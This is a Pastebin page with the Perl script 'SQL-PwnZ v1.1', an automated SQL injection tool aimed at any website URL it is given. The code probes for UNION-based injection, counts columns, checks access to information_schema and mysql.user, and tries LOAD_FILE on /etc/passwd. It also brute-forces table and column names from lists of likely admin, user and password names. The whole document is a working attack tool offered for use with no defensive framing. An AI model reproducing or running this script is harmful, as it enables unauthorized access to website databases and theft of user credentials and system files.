Advertisement
Guest User

SQl injector by Login - Root

a guest
Nov 9th, 2010
2,089
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 14.59 KB | None | 0 0
  1. #
  2. #!/usr/bin/perl
  3. #
  4.  
  5. #
  6. ###########################################################################################
  7. #
  8. #                           -[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-                   ###
  9. #
  10. ###########################################################################################
  11. #
  12.  
  13. #
  14. ###########################################################################################
  15. #
  16. # [+] inf0:                                                                             ###
  17. #
  18. ###########################################################################################
  19. #
  20. # It Searchs:                                                                           ###
  21. #
  22. # ===========                                                                           ###
  23. #
  24. #  - NΒΊ of columns                                                                      ###        
  25. #
  26. #  - Information_Schema && MySQL.User                                                   ###
  27. #
  28. #  - LOAD_FILE                                                                          ###
  29. #
  30. #  - Tables                                                                             ###                                                
  31. #
  32. #  - Columns                                                                            ###
  33. #
  34. #                                                                                       ###
  35. #
  36. #  ...and save it on a nice text file.                                                  ###
  37. #
  38. #                                                                                       ###
  39. #
  40. ###########################################################################################
  41. #
  42.  
  43. #
  44. ###########################################################################################
  45. #
  46. # [+] Use:                                                                              ###
  47. #
  48. ###########################################################################################
  49. #
  50. # perl sqlpwnz.pl [WEBSITE] [COLUMNS] [FILE] [COMMENT] [-T] [-C] [-NOCHECK]             ###
  51. #
  52. #   [WEBSITE]: http://www.web.com/index.php?id=                                         ###
  53. #
  54. #   [COLUMNS]: Limit of columns to check                                                ###
  55. #
  56. #   [FILE]: File where save the results                                                 ###
  57. #
  58. #   [COMMENT]: '/*' or '--' (Without '') (Optional)                                     ###
  59. #
  60. #   [-T]: Try to brute force tables (Optional)                                          ###
  61. #
  62. #   [-C]: Try to brute force columns (Optional)                                         ###
  63. #
  64. #   [-NOCHECK]: Skip the initial check (Optional)                                       ###
  65. #
  66. ###########################################################################################
  67. #
  68.  
  69. #
  70. ###########################################################################################
  71. #
  72. # [+] c0ntact:                                                                          ###
  73. #
  74. ###########################################################################################
  75. #
  76. # MSN:    no.more@passport.com                                                          ###
  77. #
  78. # Jabber: login-root@x23.eu                                                             ###
  79. #
  80. # E-Mail: login_root@yahoo.com.ar                                                       ###
  81. #
  82. #                                                                                       ###
  83. #
  84. ###########################################################################################
  85. #
  86.  
  87. #
  88.  
  89. #
  90. ###########################################################################################
  91. #
  92. # [+] sh0utz:                                                                           ###
  93. #
  94. ###########################################################################################
  95. #
  96. # In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion                 ###
  97. #
  98. # Many thanks to boER, who teach me a little of perl ;D                                 ###
  99. #
  100. # VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM                    ###
  101. #
  102. ###########################################################################################
  103. #
  104.  
  105. #
  106. ###########################################################################################
  107. #
  108. # ARGENTINA PRODUCT :)                                                                  ###
  109. #
  110. ###########################################################################################
  111. #
  112.  
  113. #
  114. use LWP::Simple;
  115. #
  116.  
  117. #
  118. if(!$ARGV[2])
  119. #
  120.         {
  121. #
  122.                  print "\n\n-[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-\n=========================================";
  123. #
  124.                  print "\n\nUse: perl $0 [WEBSITE] [COLUMNS] [FILE] [COMMENT] [-T] [-C] [-NOCHECK]\n";
  125. #
  126.                  print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limit of columns to check\n[FILE]: File where save the results\n[COMMENT]: '/*' o '--' (Without '') (Optional)\n[-T]: Try to brute force tables (Optional)\n[-C]: Try to brute force columns (Optional)\n[-NOCHECK]: Skip the initial check (Optional)\n\n";
  127. #
  128.                  exit (0);
  129. #
  130.         }
  131. #
  132.        
  133. #
  134. @nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
  135. #
  136.           'name','names','nombre','nombres','usuarios','member','members','admin_table',
  137. #
  138.           'miembro','miembros','membername','admins','administrator',
  139. #
  140.           'administrators','passwd','password','passwords','pass','Pass',
  141. #
  142.           'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
  143. #
  144.           'member_password','mods','mod','moderators','moderator','user_email',
  145. #
  146.           'user_emails','user_mail','user_mails','mail','emails','email','address',
  147. #
  148.           'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  149. #
  150.           'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  151. #
  152.           'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
  153. #
  154.           'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  155. #
  156.           'sistema_usuario','sistema_password','contrasena','auth','key','senha',
  157. #
  158.           'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
  159. #
  160.       'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
  161. #
  162.       'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
  163. #
  164.       'associated','accnt','customers','customer','membres','administrateur','utilisateur',
  165. #
  166.       'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
  167. #
  168.       'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
  169. #
  170.           'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
  171. #
  172.  
  173. #
  174. @nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
  175. #
  176.           'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
  177. #
  178.           'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
  179. #
  180.           'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
  181. #
  182.           'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
  183. #
  184.           'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
  185. #
  186.  
  187. #
  188. if ( $ARGV[0]   !~   /^http:/ )
  189. #
  190.   {
  191. #
  192.       $ARGV[0] = "http://" . $ARGV[0];
  193. #
  194.   }
  195. #
  196.  
  197. #
  198. if ($ARGV[3] =~ "--" || $ARGV[4] =~ "--" || $ARGV[5] =~ "--" || $ARGV[6] =~ "--")
  199. #
  200. {
  201. #
  202.         $cmn.= "+";
  203. #
  204.         $cfin.="--";
  205. #
  206.         print "\n[+] Comments to use: '--' & '+'";    
  207. #
  208. }
  209. #
  210. else
  211. #
  212. {
  213. #
  214.         $cmn.= "/**/";
  215. #
  216.         $cfin.= "/*";
  217. #
  218.         print "\n[+] Comments to use: '/*' & '/**/'";
  219. #
  220. }
  221. #
  222.  
  223. #
  224. open(WEB,">>".$ARGV[2]) || die "\n\n[-] Failed creating the file\n";
  225. #
  226. if ($ARGV[3] =~ "-NOCHECK" || $ARGV[4] =~ "-NOCHECK" || $ARGV[5] =~ "-NOCHECK" || $ARGV[6] =~ "-NOCHECK")
  227. #
  228.   {
  229. #
  230.       print "\n[!] Skipping the initial check...\n";
  231. #
  232.       print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
  233. #
  234.   }
  235. #
  236. else
  237. #
  238.   {
  239. #
  240.       print "\n[!] Checking if the website is vulnerable...\n";
  241. #
  242.       $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cfin;
  243. #
  244.       $response=get($sql)or die("[-] Wrong Website, check it\n");
  245. #
  246.       if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ ||         $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/)
  247. #
  248.         {
  249. #
  250.             print "[+] Vulnerable website, script continues...\n";
  251. #
  252.             print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
  253. #
  254.         }
  255. #
  256.         else
  257. #
  258.           {
  259. #
  260.             print "[-] Website apparently not vulnerable to SQL Inyection, try another comment\n\n";
  261. #
  262.             exit(1);
  263. #
  264.           }
  265. #
  266.   }
  267. #
  268. print "\n[!] Looking up columns...\n";
  269. #
  270. for ($column = 0 ; $column < $ARGV[1] ; $column ++)
  271. #
  272. {
  273. #
  274.         $union.=','.$column;
  275. #
  276.         $inyection.=','."0x6c6f67696e70776e7a";
  277. #
  278.     if ($column == 0)
  279. #
  280.       {
  281. #
  282.           print WEB "\n[COLUMNS]:\n\n";
  283. #
  284.           $inyection = '';
  285. #
  286.          $union = '';
  287. #
  288.      }
  289. #
  290.    $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
  291. #
  292.    $response=get($sql)or die("[-] Failed to try to find the number of columns, check website\n");
  293. #
  294.    if($response =~ /loginpwnz/)
  295. #
  296.      {
  297. #
  298.         $column ++;
  299. #
  300.         print "[+] The site has $column columns\n\n";
  301. #
  302.         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
  303. #
  304.         print "$sql\n";
  305. #
  306.         print WEB "$sql\n";
  307. #
  308.         print "\n[!] Checking if Information_Schema exists...";
  309. #
  310.         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
  311. #
  312.         $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
  313. #
  314.         if($response =~ /loginpwnz/)
  315. #
  316.                 {
  317. #
  318.                         print "\n[+] Information_Schema available...saving in $ARGV[2]";
  319. #
  320.            $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
  321. #
  322.            print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";
  323. #
  324.                
  325. #
  326.                 }
  327. #
  328.         else
  329. #
  330.                 {
  331. #
  332.                 print "\n[-] Information_Schema unavailable";
  333. #
  334.                 }
  335. #
  336.         print "\n[!] Checking if MySQL.User exists...";
  337. #
  338.         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
  339. #
  340.         $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
  341. #
  342.         if($response =~ /loginpwnz/)
  343. #
  344.                 {
  345. #
  346.                         print "\n[+] MySQL.User available...saving in $ARGV[2]";
  347. #
  348.                         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
  349. #
  350.                 print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";
  351. #
  352.                
  353. #
  354.                 }
  355. #
  356.         else
  357. #
  358.                 {
  359. #
  360.                 print "\n[-] MySQL.User unavailable";
  361. #
  362.                 }
  363. #
  364.         while ($loadcont < $column-1)
  365. #
  366.            {
  367. #
  368.                 $loadfile.=','.'load_file(0x2f6574632f706173737764)';
  369. #
  370.                 $loadcont++;
  371. #
  372.            }
  373. #
  374.         print "\n[!] Checking if it is possible to inject LOAD_FILE...";
  375. #
  376.        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
  377. #
  378.         $response=get($sql)or die("[-] Imposible inyectar LOAD_FILE\n");
  379. #
  380.         if($response =~ /root:x:/)
  381. #
  382.                 {
  383. #
  384.                         print "\n[+] LOAD_FILE available...saving in $ARGV[2]";
  385. #
  386.                         print WEB "\n\n[LOAD_FILE]:\n\nload_file(0x2f6574632f706173737764) => OK! (0x2f6574632f706173737764 => /etc/passwd)\n";
  387. #
  388.          }
  389. #
  390.         else
  391. #
  392.                 {
  393. #
  394.                 print "\n[-] LOAD_FILE unavailable";
  395. #
  396.                 }
  397. #
  398.         if ($ARGV[3] =~ "-T" || $ARGV[4] =~ "-T" || $ARGV[5] =~ "-T" || $ARGV[6] =~ "-T")
  399. #
  400.                 {
  401. #
  402.              print "\n\n[!] Brute forcing tables...";
  403. #
  404.              print WEB "\n\n[TABLES]:\n\n";
  405. #
  406.              foreach $tabla(@nombretabla)
  407. #
  408.                {
  409. #
  410.                  chomp($tabla);
  411. #
  412.                  $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  413. #
  414.                  $response=get($sql)or die("[-] Impossible to get tables\n");
  415. #
  416.                  if($response =~ /loginpwnz/)
  417. #
  418.                    {
  419. #
  420.                        print "\n[+] Table $tabla exists...saving in $ARGV[2]";
  421. #
  422.                        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
  423. #
  424.                        print WEB "$sql\n";
  425. #
  426.                    }
  427. #
  428.                }
  429. #
  430.                 }
  431. #
  432.        if ($ARGV[3] =~ "-C" || $ARGV[4] =~ "-C" || $ARGV[5] =~ "-C" || $ARGV[6] =~ "-C")
  433. #
  434.          {
  435. #
  436.                 print "\n\n[!] Table to brute force columns: ";
  437. #
  438.            $tabla.=<STDIN>;
  439. #
  440.            chomp($tabla);
  441. #
  442.            print WEB "\n\n[COLUMNS IN TABLE $tabla]:\n\n";
  443. #
  444.            foreach $columna(@nombrecolumna)
  445. #
  446.            {
  447. #
  448.             chomp($columna);
  449. #
  450.             $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  451. #
  452.             $response=get($sql)or die("[-] Impossible to get columns\n");
  453. #
  454.             if ($response =~ /loginpwnz/)
  455. #
  456.                  {
  457. #
  458.                      print "\n[+] Column $columna available...saving in $ARGV[2]";
  459. #
  460.                      print WEB "$columna\n";
  461. #
  462.                  }
  463. #
  464.            }
  465. #
  466.        }
  467. #
  468.        print WEB "\n\n\n[*EOF*]";
  469. #
  470.        print "\n\n[+] Everything saved correctly in $ARGV[2]\n\n";
  471. #
  472.        print "## c0ded by Login-Root | 2008 ##\n\n";
  473. #
  474.        exit (0);
  475. #
  476.      }
  477. #
  478. }
  479. #
  480. print "[-] Impossible to find number of columns, try more columns\n\n";
  481. #
  482. print "## c0ded by Login-Root | 2008 ##\n\n";
  483. #
  484. exit (0);
  485. #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement